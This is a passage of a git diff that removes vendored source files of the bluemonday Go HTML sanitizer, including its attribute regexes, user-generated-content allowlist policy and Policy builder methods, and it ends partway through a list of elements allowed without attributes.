https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td#attr-valign - CellVerticalAlign = regexp.MustCompile(`(?i)^(baseline|bottom|middle|top)$`) - - // Direction handles the `dir` attribute - // https://developer.mozilla.org/en-US/docs/Web/HTML/Element/bdo#attr-dir - Direction = regexp.MustCompile(`(?i)^(rtl|ltr)$`) - - // ImageAlign handles the `align` attribute on the `image` tag - // http://www.w3.org/MarkUp/Test/Img/imgtest.html - ImageAlign = regexp.MustCompile( - `(?i)^(left|right|top|texttop|middle|absmiddle|baseline|bottom|absbottom)$`, - ) - - // Integer describes whole positive integers (including 0) used in places - // like td.colspan - // https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td#attr-colspan - Integer = regexp.MustCompile(`^[0-9]+$`) - - // ISO8601 according to the W3 group is only a subset of the ISO8601 - // standard: http://www.w3.org/TR/NOTE-datetime - // - // Used in places like time.datetime - // https://developer.mozilla.org/en-US/docs/Web/HTML/Element/time#attr-datetime - // - // Matches patterns: - // Year: - // YYYY (eg 1997) - // Year and month: - // YYYY-MM (eg 1997-07) - // Complete date: - // YYYY-MM-DD (eg 1997-07-16) - // Complete date plus hours and minutes: - // YYYY-MM-DDThh:mmTZD (eg 1997-07-16T19:20+01:00) - // Complete date plus hours, minutes and seconds: - // YYYY-MM-DDThh:mm:ssTZD (eg 1997-07-16T19:20:30+01:00) - // Complete date plus hours, minutes, seconds and a decimal fraction of a - // second - // YYYY-MM-DDThh:mm:ss.sTZD (eg 1997-07-16T19:20:30.45+01:00) - ISO8601 = regexp.MustCompile( - `^[0-9]{4}(-[0-9]{2}(-[0-9]{2}([ T][0-9]{2}(:[0-9]{2}){1,2}(.[0-9]{1,6})` + - `?Z?([\+-][0-9]{2}:[0-9]{2})?)?)?)?$`, - ) - - // ListType encapsulates the common value as well as the latest spec - // values for lists - // https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol#attr-type - ListType = regexp.MustCompile(`(?i)^(circle|disc|square|a|A|i|I|1)$`) - - // SpaceSeparatedTokens is used in places like `a.rel` and the common attribute - // `class` which both contain space delimited lists of data tokens - // http://www.w3.org/TR/html-markup/datatypes.html#common.data.tokens-def - // Regexp: \p{L} matches unicode letters, \p{N} matches unicode numbers - SpaceSeparatedTokens = regexp.MustCompile(`^([\s\p{L}\p{N}_-]+)$`) - - // Number is a double value used on HTML5 meter and progress elements - // http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-meter-element - Number = regexp.MustCompile(`^[-+]?[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?$`) - - // NumberOrPercent is used predominantly as units of measurement in width - // and height attributes - // https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img#attr-height - NumberOrPercent = regexp.MustCompile(`^[0-9]+[%]?$`) - - // Paragraph of text in an attribute such as *.'title', img.alt, etc - // https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes#attr-title - // Note that we are not allowing chars that could close tags like '>' - Paragraph = regexp.MustCompile(`^[\p{L}\p{N}\s\-_',\[\]!\./\\\(\)]*$`) - - // dataURIImagePrefix is used by AllowDataURIImages to define the acceptable - // prefix of data URIs that contain common web image formats. - // - // This is not exported as it's not useful by itself, and only has value - // within the AllowDataURIImages func - dataURIImagePrefix = regexp.MustCompile( - `^image/(gif|jpeg|png|webp);base64,`, - ) -) - -// AllowStandardURLs is a convenience function that will enable rel="nofollow" -// on "a", "area" and "link" (if you have allowed those elements) and will -// ensure that the URL values are parseable and either relative or belong to the -// "mailto", "http", or "https" schemes -func (p *Policy) AllowStandardURLs() { - // URLs must be parseable by net/url.Parse() - p.RequireParseableURLs(true) - - // !url.IsAbs() is permitted - p.AllowRelativeURLs(true) - - // Most common URL schemes only - p.AllowURLSchemes("mailto", "http", "https") - - // For all anchors we will add rel="nofollow" if it does not already exist - // This applies to "a" "area" "link" - p.RequireNoFollowOnLinks(true) -} - -// AllowStandardAttributes will enable "id", "title" and the language specific -// attributes "dir" and "lang" on all elements that are whitelisted -func (p *Policy) AllowStandardAttributes() { - // "dir" "lang" are permitted as both language attributes affect charsets - // and direction of text. - p.AllowAttrs("dir").Matching(Direction).Globally() - p.AllowAttrs( - "lang", - ).Matching(regexp.MustCompile(`[a-zA-Z]{2,20}`)).Globally() - - // "id" is permitted. This is pretty much as some HTML elements require this - // to work well ("dfn" is an example of a "id" being value) - // This does create a risk that JavaScript and CSS within your web page - // might identify the wrong elements. Ensure that you select things - // accurately - p.AllowAttrs("id").Matching( - regexp.MustCompile(`[a-zA-Z0-9\:\-_\.]+`), - ).Globally() - - // "title" is permitted as it improves accessibility. - p.AllowAttrs("title").Matching(Paragraph).Globally() -} - -// AllowStyling presently enables the class attribute globally. -// -// Note: When bluemonday ships a CSS parser and we can safely sanitise that, -// this will also allow sanitized styling of elements via the style attribute. -func (p *Policy) AllowStyling() { - - // "class" is permitted globally - p.AllowAttrs("class").Matching(SpaceSeparatedTokens).Globally() -} - -// AllowImages enables the img element and some popular attributes. It will also -// ensure that URL values are parseable. This helper does not enable data URI -// images, for that you should also use the AllowDataURIImages() helper. -func (p *Policy) AllowImages() { - - // "img" is permitted - p.AllowAttrs("align").Matching(ImageAlign).OnElements("img") - p.AllowAttrs("alt").Matching(Paragraph).OnElements("img") - p.AllowAttrs("height", "width").Matching(NumberOrPercent).OnElements("img") - - // Standard URLs enabled - p.AllowStandardURLs() - p.AllowAttrs("src").OnElements("img") -} - -// AllowDataURIImages permits the use of inline images defined in RFC2397 -// http://tools.ietf.org/html/rfc2397 -// http://en.wikipedia.org/wiki/Data_URI_scheme -// -// Images must have a mimetype matching: -// image/gif -// image/jpeg -// image/png -// image/webp -// -// NOTE: There is a potential security risk to allowing data URIs and you should -// only permit them on content you already trust. -// http://palizine.plynt.com/issues/2010Oct/bypass-xss-filters/ -// https://capec.mitre.org/data/definitions/244.html -func (p *Policy) AllowDataURIImages() { - - // URLs must be parseable by net/url.Parse() - p.RequireParseableURLs(true) - - // Supply a function to validate images contained within data URI - p.AllowURLSchemeWithCustomPolicy( - "data", - func(url *url.URL) (allowUrl bool) { - if url.RawQuery != "" || url.Fragment != "" { - return false - } - - matched := dataURIImagePrefix.FindString(url.Opaque) - if matched == "" { - return false - } - - _, err := base64.StdEncoding.DecodeString(url.Opaque[len(matched):]) - if err != nil { - return false - } - - return true - }, - ) -} - -// AllowLists will enabled ordered and unordered lists, as well as definition -// lists -func (p *Policy) AllowLists() { - // "ol" "ul" are permitted - p.AllowAttrs("type").Matching(ListType).OnElements("ol", "ul") - - // "li" is permitted - p.AllowAttrs("type").Matching(ListType).OnElements("li") - p.AllowAttrs("value").Matching(Integer).OnElements("li") - - // "dl" "dt" "dd" are permitted - p.AllowElements("dl", "dt", "dd") -} - -// AllowTables will enable a rich set of elements and attributes to describe -// HTML tables -func (p *Policy) AllowTables() { - - // "table" is permitted - p.AllowAttrs("height", "width").Matching(NumberOrPercent).OnElements("table") - p.AllowAttrs("summary").Matching(Paragraph).OnElements("table") - - // "caption" is permitted - p.AllowElements("caption") - - // "col" "colgroup" are permitted - p.AllowAttrs("align").Matching(CellAlign).OnElements("col", "colgroup") - p.AllowAttrs("height", "width").Matching( - NumberOrPercent, - ).OnElements("col", "colgroup") - p.AllowAttrs("span").Matching(Integer).OnElements("colgroup", "col") - p.AllowAttrs("valign").Matching( - CellVerticalAlign, - ).OnElements("col", "colgroup") - - // "thead" "tr" are permitted - p.AllowAttrs("align").Matching(CellAlign).OnElements("thead", "tr") - p.AllowAttrs("valign").Matching(CellVerticalAlign).OnElements("thead", "tr") - - // "td" "th" are permitted - p.AllowAttrs("abbr").Matching(Paragraph).OnElements("td", "th") - p.AllowAttrs("align").Matching(CellAlign).OnElements("td", "th") - p.AllowAttrs("colspan", "rowspan").Matching(Integer).OnElements("td", "th") - p.AllowAttrs("headers").Matching( - SpaceSeparatedTokens, - ).OnElements("td", "th") - p.AllowAttrs("height", "width").Matching( - NumberOrPercent, - ).OnElements("td", "th") - p.AllowAttrs( - "scope", - ).Matching( - regexp.MustCompile(`(?i)(?:row|col)(?:group)?`), - ).OnElements("td", "th") - p.AllowAttrs("valign").Matching(CellVerticalAlign).OnElements("td", "th") - p.AllowAttrs("nowrap").Matching( - regexp.MustCompile(`(?i)|nowrap`), - ).OnElements("td", "th") - - // "tbody" "tfoot" - p.AllowAttrs("align").Matching(CellAlign).OnElements("tbody", "tfoot") - p.AllowAttrs("valign").Matching( - CellVerticalAlign, - ).OnElements("tbody", "tfoot") -} diff --git a/vendor/github.com/microcosm-cc/bluemonday/policies.go b/vendor/github.com/microcosm-cc/bluemonday/policies.go deleted file mode 100644 index 570bba8867..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/policies.go +++ /dev/null @@ -1,253 +0,0 @@ -// Copyright (c) 2014, David Kitchen -// -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this -// list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of the organisation (Microcosm) nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package bluemonday - -import ( - "regexp" -) - -// StrictPolicy returns an empty policy, which will effectively strip all HTML -// elements and their attributes from a document. -func StrictPolicy() *Policy { - return NewPolicy() -} - -// StripTagsPolicy is DEPRECATED. Use StrictPolicy instead. -func StripTagsPolicy() *Policy { - return StrictPolicy() -} - -// UGCPolicy returns a policy aimed at user generated content that is a result -// of HTML WYSIWYG tools and Markdown conversions. -// -// This is expected to be a fairly rich document where as much markup as -// possible should be retained. Markdown permits raw HTML so we are basically -// providing a policy to sanitise HTML5 documents safely but with the -// least intrusion on the formatting expectations of the user. -func UGCPolicy() *Policy { - - p := NewPolicy() - - /////////////////////// - // Global attributes // - /////////////////////// - - // "class" is not permitted as we are not allowing users to style their own - // content - - p.AllowStandardAttributes() - - ////////////////////////////// - // Global URL format policy // - ////////////////////////////// - - p.AllowStandardURLs() - - //////////////////////////////// - // Declarations and structure // - //////////////////////////////// - - // "xml" "xslt" "DOCTYPE" "html" "head" are not permitted as we are - // expecting user generated content to be a fragment of HTML and not a full - // document. - - ////////////////////////// - // Sectioning root tags // - ////////////////////////// - - // "article" and "aside" are permitted and takes no attributes - p.AllowElements("article", "aside") - - // "body" is not permitted as we are expecting user generated content to be a fragment - // of HTML and not a full document. - - // "details" is permitted, including the "open" attribute which can either - // be blank or the value "open". - p.AllowAttrs( - "open", - ).Matching(regexp.MustCompile(`(?i)^(|open)$`)).OnElements("details") - - // "fieldset" is not permitted as we are not allowing forms to be created. - - // "figure" is permitted and takes no attributes - p.AllowElements("figure") - - // "nav" is not permitted as it is assumed that the site (and not the user) - // has defined navigation elements - - // "section" is permitted and takes no attributes - p.AllowElements("section") - - // "summary" is permitted and takes no attributes - p.AllowElements("summary") - - ////////////////////////// - // Headings and footers // - ////////////////////////// - - // "footer" is not permitted as we expect user content to be a fragment and - // not structural to this extent - - // "h1" through "h6" are permitted and take no attributes - p.AllowElements("h1", "h2", "h3", "h4", "h5", "h6") - - // "header" is not permitted as we expect user content to be a fragment and - // not structural to this extent - - // "hgroup" is permitted and takes no attributes - p.AllowElements("hgroup") - - ///////////////////////////////////// - // Content grouping and separating // - ///////////////////////////////////// - - // "blockquote" is permitted, including the "cite" attribute which must be - // a standard URL. - p.AllowAttrs("cite").OnElements("blockquote") - - // "br" "div" "hr" "p" "span" "wbr" are permitted and take no attributes - p.AllowElements("br", "div", "hr", "p", "span", "wbr") - - /////////// - // Links // - /////////// - - // "a" is permitted - p.AllowAttrs("href").OnElements("a") - - // "area" is permitted along with the attributes that map image maps work - p.AllowAttrs("name").Matching( - regexp.MustCompile(`^([\p{L}\p{N}_-]+)$`), - ).OnElements("map") - p.AllowAttrs("alt").Matching(Paragraph).OnElements("area") - p.AllowAttrs("coords").Matching( - regexp.MustCompile(`^([0-9]+,)+[0-9]+$`), - ).OnElements("area") - p.AllowAttrs("href").OnElements("area") - p.AllowAttrs("rel").Matching(SpaceSeparatedTokens).OnElements("area") - p.AllowAttrs("shape").Matching( - regexp.MustCompile(`(?i)^(default|circle|rect|poly)$`), - ).OnElements("area") - p.AllowAttrs("usemap").Matching( - regexp.MustCompile(`(?i)^#[\p{L}\p{N}_-]+$`), - ).OnElements("img") - - // "link" is not permitted - - ///////////////////// - // Phrase elements // - ///////////////////// - - // The following are all inline phrasing elements - p.AllowElements("abbr", "acronym", "cite", "code", "dfn", "em", - "figcaption", "mark", "s", "samp", "strong", "sub", "sup", "var") - - // "q" is permitted and "cite" is a URL and handled by URL policies - p.AllowAttrs("cite").OnElements("q") - - // "time" is permitted - p.AllowAttrs("datetime").Matching(ISO8601).OnElements("time") - - //////////////////// - // Style elements // - //////////////////// - - // block and inline elements that impart no semantic meaning but style the - // document - p.AllowElements("b", "i", "pre", "small", "strike", "tt", "u") - - // "style" is not permitted as we are not yet sanitising CSS and it is an - // XSS attack vector - - ////////////////////// - // HTML5 Formatting // - ////////////////////// - - // "bdi" "bdo" are permitted - p.AllowAttrs("dir").Matching(Direction).OnElements("bdi", "bdo") - - // "rp" "rt" "ruby" are permitted - p.AllowElements("rp", "rt", "ruby") - - /////////////////////////// - // HTML5 Change tracking // - /////////////////////////// - - // "del" "ins" are permitted - p.AllowAttrs("cite").Matching(Paragraph).OnElements("del", "ins") - p.AllowAttrs("datetime").Matching(ISO8601).OnElements("del", "ins") - - /////////// - // Lists // - /////////// - - p.AllowLists() - - //////////// - // Tables // - //////////// - - p.AllowTables() - - /////////// - // Forms // - /////////// - - // By and large, forms are not permitted. However there are some form - // elements that can be used to present data, and we do permit those - // - // "button" "fieldset" "input" "keygen" "label" "output" "select" "datalist" - // "textarea" "optgroup" "option" are all not permitted - - // "meter" is permitted - p.AllowAttrs( - "value", - "min", - "max", - "low", - "high", - "optimum", - ).Matching(Number).OnElements("meter") - - // "progress" is permitted - p.AllowAttrs("value", "max").Matching(Number).OnElements("progress") - - ////////////////////// - // Embedded content // - ////////////////////// - - // Vast majority not permitted - // "audio" "canvas" "embed" "iframe" "object" "param" "source" "svg" "track" - // "video" are all not permitted - - p.AllowImages() - - return p -} diff --git a/vendor/github.com/microcosm-cc/bluemonday/policy.go b/vendor/github.com/microcosm-cc/bluemonday/policy.go deleted file mode 100644 index f61d98f59e..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/policy.go +++ /dev/null @@ -1,552 +0,0 @@ -// Copyright (c) 2014, David Kitchen -// -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this -// list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of the organisation (Microcosm) nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package bluemonday - -import ( - "net/url" - "regexp" - "strings" -) - -// Policy encapsulates the whitelist of HTML elements and attributes that will -// be applied to the sanitised HTML. -// -// You should use bluemonday.NewPolicy() to create a blank policy as the -// unexported fields contain maps that need to be initialized. -type Policy struct { - - // Declares whether the maps have been initialized, used as a cheap check to - // ensure that those using Policy{} directly won't cause nil pointer - // exceptions - initialized bool - - // If true then we add spaces when stripping tags, specifically the closing - // tag is replaced by a space character. - addSpaces bool - - // When true, add rel="nofollow" to HTML anchors - requireNoFollow bool - - // When true, add rel="nofollow" to HTML anchors - // Will add for href="http://foo" - // Will skip for href="/foo" or href="foo" - requireNoFollowFullyQualifiedLinks bool - - // When true add target="_blank" to fully qualified links - // Will add for href="http://foo" - // Will skip for href="/foo" or href="foo" - addTargetBlankToFullyQualifiedLinks bool - - // When true, URLs must be parseable by "net/url" url.Parse() - requireParseableURLs bool - - // When true, u, _ := url.Parse("url"); !u.IsAbs() is permitted - allowRelativeURLs bool - - // When true, allow data attributes. - allowDataAttributes bool - - // map[htmlElementName]map[htmlAttributeName]attrPolicy - elsAndAttrs map[string]map[string]attrPolicy - - // map[htmlAttributeName]attrPolicy - globalAttrs map[string]attrPolicy - - // If urlPolicy is nil, all URLs with matching schema are allowed. - // Otherwise, only the URLs with matching schema and urlPolicy(url) - // returning true are allowed. - allowURLSchemes map[string]urlPolicy - - // If an element has had all attributes removed as a result of a policy - // being applied, then the element would be removed from the output. - // - // However some elements are valid and have strong layout meaning without - // any attributes, i.e. . To prevent those being removed we maintain - // a list of elements that are allowed to have no attributes and that will - // be maintained in the output HTML. - setOfElementsAllowedWithoutAttrs map[string]struct{} - - setOfElementsToSkipContent map[string]struct{} -} - -type attrPolicy struct { - - // optional pattern to match, when not nil the regexp needs to match - // otherwise the attribute is removed - regexp *regexp.Regexp -} - -type attrPolicyBuilder struct { - p *Policy - - attrNames []string - regexp *regexp.Regexp - allowEmpty bool -} - -type urlPolicy func(url *url.URL) (allowUrl bool) - -// init initializes the maps if this has not been done already -func (p *Policy) init() { - if !p.initialized { - p.elsAndAttrs = make(map[string]map[string]attrPolicy) - p.globalAttrs = make(map[string]attrPolicy) - p.allowURLSchemes = make(map[string]urlPolicy) - p.setOfElementsAllowedWithoutAttrs = make(map[string]struct{}) - p.setOfElementsToSkipContent = make(map[string]struct{}) - p.initialized = true - } -} - -// NewPolicy returns a blank policy with nothing whitelisted or permitted. This -// is the recommended way to start building a policy and you should now use -// AllowAttrs() and/or AllowElements() to construct the whitelist of HTML -// elements and attributes. -func NewPolicy() *Policy { - - p := Policy{} - - p.addDefaultElementsWithoutAttrs() - p.addDefaultSkipElementContent() - - return &p -} - -// AllowAttrs takes a range of HTML attribute names and returns an -// attribute policy builder that allows you to specify the pattern and scope of -// the whitelisted attribute. -// -// The attribute policy is only added to the core policy when either Globally() -// or OnElements(...) are called. -func (p *Policy) AllowAttrs(attrNames ...string) *attrPolicyBuilder { - - p.init() - - abp := attrPolicyBuilder{ - p: p, - allowEmpty: false, - } - - for _, attrName := range attrNames { - abp.attrNames = append(abp.attrNames, strings.ToLower(attrName)) - } - - return &abp -} - -// AllowDataAttributes whitelists all data attributes. We can't specify the name -// of each attribute exactly as they are customized. -// -// NOTE: These values are not sanitized and applications that evaluate or process -// them without checking and verification of the input may be at risk if this option -// is enabled. This is a 'caveat emptor' option and the person enabling this option -// needs to fully understand the potential impact with regards to whatever application -// will be consuming the sanitized HTML afterwards, i.e. if you know you put a link in a -// data attribute and use that to automatically load some new window then you're giving -// the author of a HTML fragment the means to open a malicious destination automatically. -// Use with care! -func (p *Policy) AllowDataAttributes() { - p.allowDataAttributes = true -} - -// AllowNoAttrs says that attributes on element are optional. -// -// The attribute policy is only added to the core policy when OnElements(...) -// are called. -func (p *Policy) AllowNoAttrs() *attrPolicyBuilder { - - p.init() - - abp := attrPolicyBuilder{ - p: p, - allowEmpty: true, - } - return &abp -} - -// AllowNoAttrs says that attributes on element are optional. -// -// The attribute policy is only added to the core policy when OnElements(...) -// are called. -func (abp *attrPolicyBuilder) AllowNoAttrs() *attrPolicyBuilder { - - abp.allowEmpty = true - - return abp -} - -// Matching allows a regular expression to be applied to a nascent attribute -// policy, and returns the attribute policy. Calling this more than once will -// replace the existing regexp. -func (abp *attrPolicyBuilder) Matching(regex *regexp.Regexp) *attrPolicyBuilder { - - abp.regexp = regex - - return abp -} - -// OnElements will bind an attribute policy to a given range of HTML elements -// and return the updated policy -func (abp *attrPolicyBuilder) OnElements(elements ...string) *Policy { - - for _, element := range elements { - element = strings.ToLower(element) - - for _, attr := range abp.attrNames { - - if _, ok := abp.p.elsAndAttrs[element]; !ok { - abp.p.elsAndAttrs[element] = make(map[string]attrPolicy) - } - - ap := attrPolicy{} - if abp.regexp != nil { - ap.regexp = abp.regexp - } - - abp.p.elsAndAttrs[element][attr] = ap - } - - if abp.allowEmpty { - abp.p.setOfElementsAllowedWithoutAttrs[element] = struct{}{} - - if _, ok := abp.p.elsAndAttrs[element]; !ok { - abp.p.elsAndAttrs[element] = make(map[string]attrPolicy) - } - } - } - - return abp.p -} - -// Globally will bind an attribute policy to all HTML elements and return the -// updated policy -func (abp *attrPolicyBuilder) Globally() *Policy { - - for _, attr := range abp.attrNames { - if _, ok := abp.p.globalAttrs[attr]; !ok { - abp.p.globalAttrs[attr] = attrPolicy{} - } - - ap := attrPolicy{} - if abp.regexp != nil { - ap.regexp = abp.regexp - } - - abp.p.globalAttrs[attr] = ap - } - - return abp.p -} - -// AllowElements will append HTML elements to the whitelist without applying an -// attribute policy to those elements (the elements are permitted -// sans-attributes) -func (p *Policy) AllowElements(names ...string) *Policy { - p.init() - - for _, element := range names { - element = strings.ToLower(element) - - if _, ok := p.elsAndAttrs[element]; !ok { - p.elsAndAttrs[element] = make(map[string]attrPolicy) - } - } - - return p -} - -// RequireNoFollowOnLinks will result in all tags having a rel="nofollow" -// added to them if one does not already exist -// -// Note: This requires p.RequireParseableURLs(true) and will enable it. -func (p *Policy) RequireNoFollowOnLinks(require bool) *Policy { - - p.requireNoFollow = require - p.requireParseableURLs = true - - return p -} - -// RequireNoFollowOnFullyQualifiedLinks will result in all tags that point -// to a non-local destination (i.e. starts with a protocol and has a host) -// having a rel="nofollow" added to them if one does not already exist -// -// Note: This requires p.RequireParseableURLs(true) and will enable it. -func (p *Policy) RequireNoFollowOnFullyQualifiedLinks(require bool) *Policy { - - p.requireNoFollowFullyQualifiedLinks = require - p.requireParseableURLs = true - - return p -} - -// AddTargetBlankToFullyQualifiedLinks will result in all tags that point -// to a non-local destination (i.e. starts with a protocol and has a host) -// having a target="_blank" added to them if one does not already exist -// -// Note: This requires p.RequireParseableURLs(true) and will enable it. -func (p *Policy) AddTargetBlankToFullyQualifiedLinks(require bool) *Policy { - - p.addTargetBlankToFullyQualifiedLinks = require - p.requireParseableURLs = true - - return p -} - -// RequireParseableURLs will result in all URLs requiring that they be parseable -// by "net/url" url.Parse() -// This applies to: -// - a.href -// - area.href -// - blockquote.cite -// - img.src -// - link.href -// - script.src -func (p *Policy) RequireParseableURLs(require bool) *Policy { - - p.requireParseableURLs = require - - return p -} - -// AllowRelativeURLs enables RequireParseableURLs and then permits URLs that -// are parseable, have no schema information and url.IsAbs() returns false -// This permits local URLs -func (p *Policy) AllowRelativeURLs(require bool) *Policy { - - p.RequireParseableURLs(true) - p.allowRelativeURLs = require - - return p -} - -// AllowURLSchemes will append URL schemes to the whitelist -// Example: p.AllowURLSchemes("mailto", "http", "https") -func (p *Policy) AllowURLSchemes(schemes ...string) *Policy { - p.init() - - p.RequireParseableURLs(true) - - for _, scheme := range schemes { - scheme = strings.ToLower(scheme) - - // Allow all URLs with matching scheme. - p.allowURLSchemes[scheme] = nil - } - - return p -} - -// AllowURLSchemeWithCustomPolicy will append URL schemes with -// a custom URL policy to the whitelist. -// Only the URLs with matching schema and urlPolicy(url) -// returning true will be allowed. -func (p *Policy) AllowURLSchemeWithCustomPolicy( - scheme string, - urlPolicy func(url *url.URL) (allowUrl bool), -) *Policy { - - p.init() - - p.RequireParseableURLs(true) - - scheme = strings.ToLower(scheme) - - p.allowURLSchemes[scheme] = urlPolicy - - return p -} - -// AddSpaceWhenStrippingTag states whether to add a single space " " when -// removing tags that are not whitelisted by the policy. -// -// This is useful if you expect to strip tags in dense markup and may lose the -// value of whitespace. -// -// For example: "

Hello

World

"" would be sanitized to "HelloWorld" -// with the default value of false, but you may wish to sanitize this to -// " Hello World " by setting AddSpaceWhenStrippingTag to true as this would -// retain the intent of the text. -func (p *Policy) AddSpaceWhenStrippingTag(allow bool) *Policy { - - p.addSpaces = allow - - return p -} - -// SkipElementsContent adds the HTML elements whose tags is needed to be removed -// with its content. -func (p *Policy) SkipElementsContent(names ...string) *Policy { - - p.init() - - for _, element := range names { - element = strings.ToLower(element) - - if _, ok := p.setOfElementsToSkipContent[element]; !ok { - p.setOfElementsToSkipContent[element] = struct{}{} - } - } - - return p -} - -// AllowElementsContent marks the HTML elements whose content should be -// retained after removing the tag. -func (p *Policy) AllowElementsContent(names ...string) *Policy { - - p.init() - - for _, element := range names { - delete(p.setOfElementsToSkipContent, strings.ToLower(element)) - } - - return p -} - -// addDefaultElementsWithoutAttrs adds the HTML elements that we know are valid -// without any attributes to an internal map. -// i.e. we know that
is valid, but isn't valid as the "dir" attr -// is mandatory -func (p *Policy) addDefaultElementsWithoutAttrs() { - p.init() - - p.setOfElementsAllowedWithoutAttrs["abbr"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["acronym"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["address"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["article"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["aside"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["audio"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["b"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["bdi"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["blockquote"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["body"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["br"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["button"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["canvas"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["caption"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["center"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["cite"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["code"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["col"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["colgroup"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["datalist"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["dd"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["del"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["details"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["dfn"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["div"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["dl"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["dt"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["em"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["fieldset"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["figcaption"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["figure"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["footer"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["h1"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["h2"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["h3"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["h4"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["h5"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["h6"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["head"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["header"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["hgroup"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["hr"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["html"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["i"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["ins"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["kbd"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["li"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["mark"] = struct{}{} - 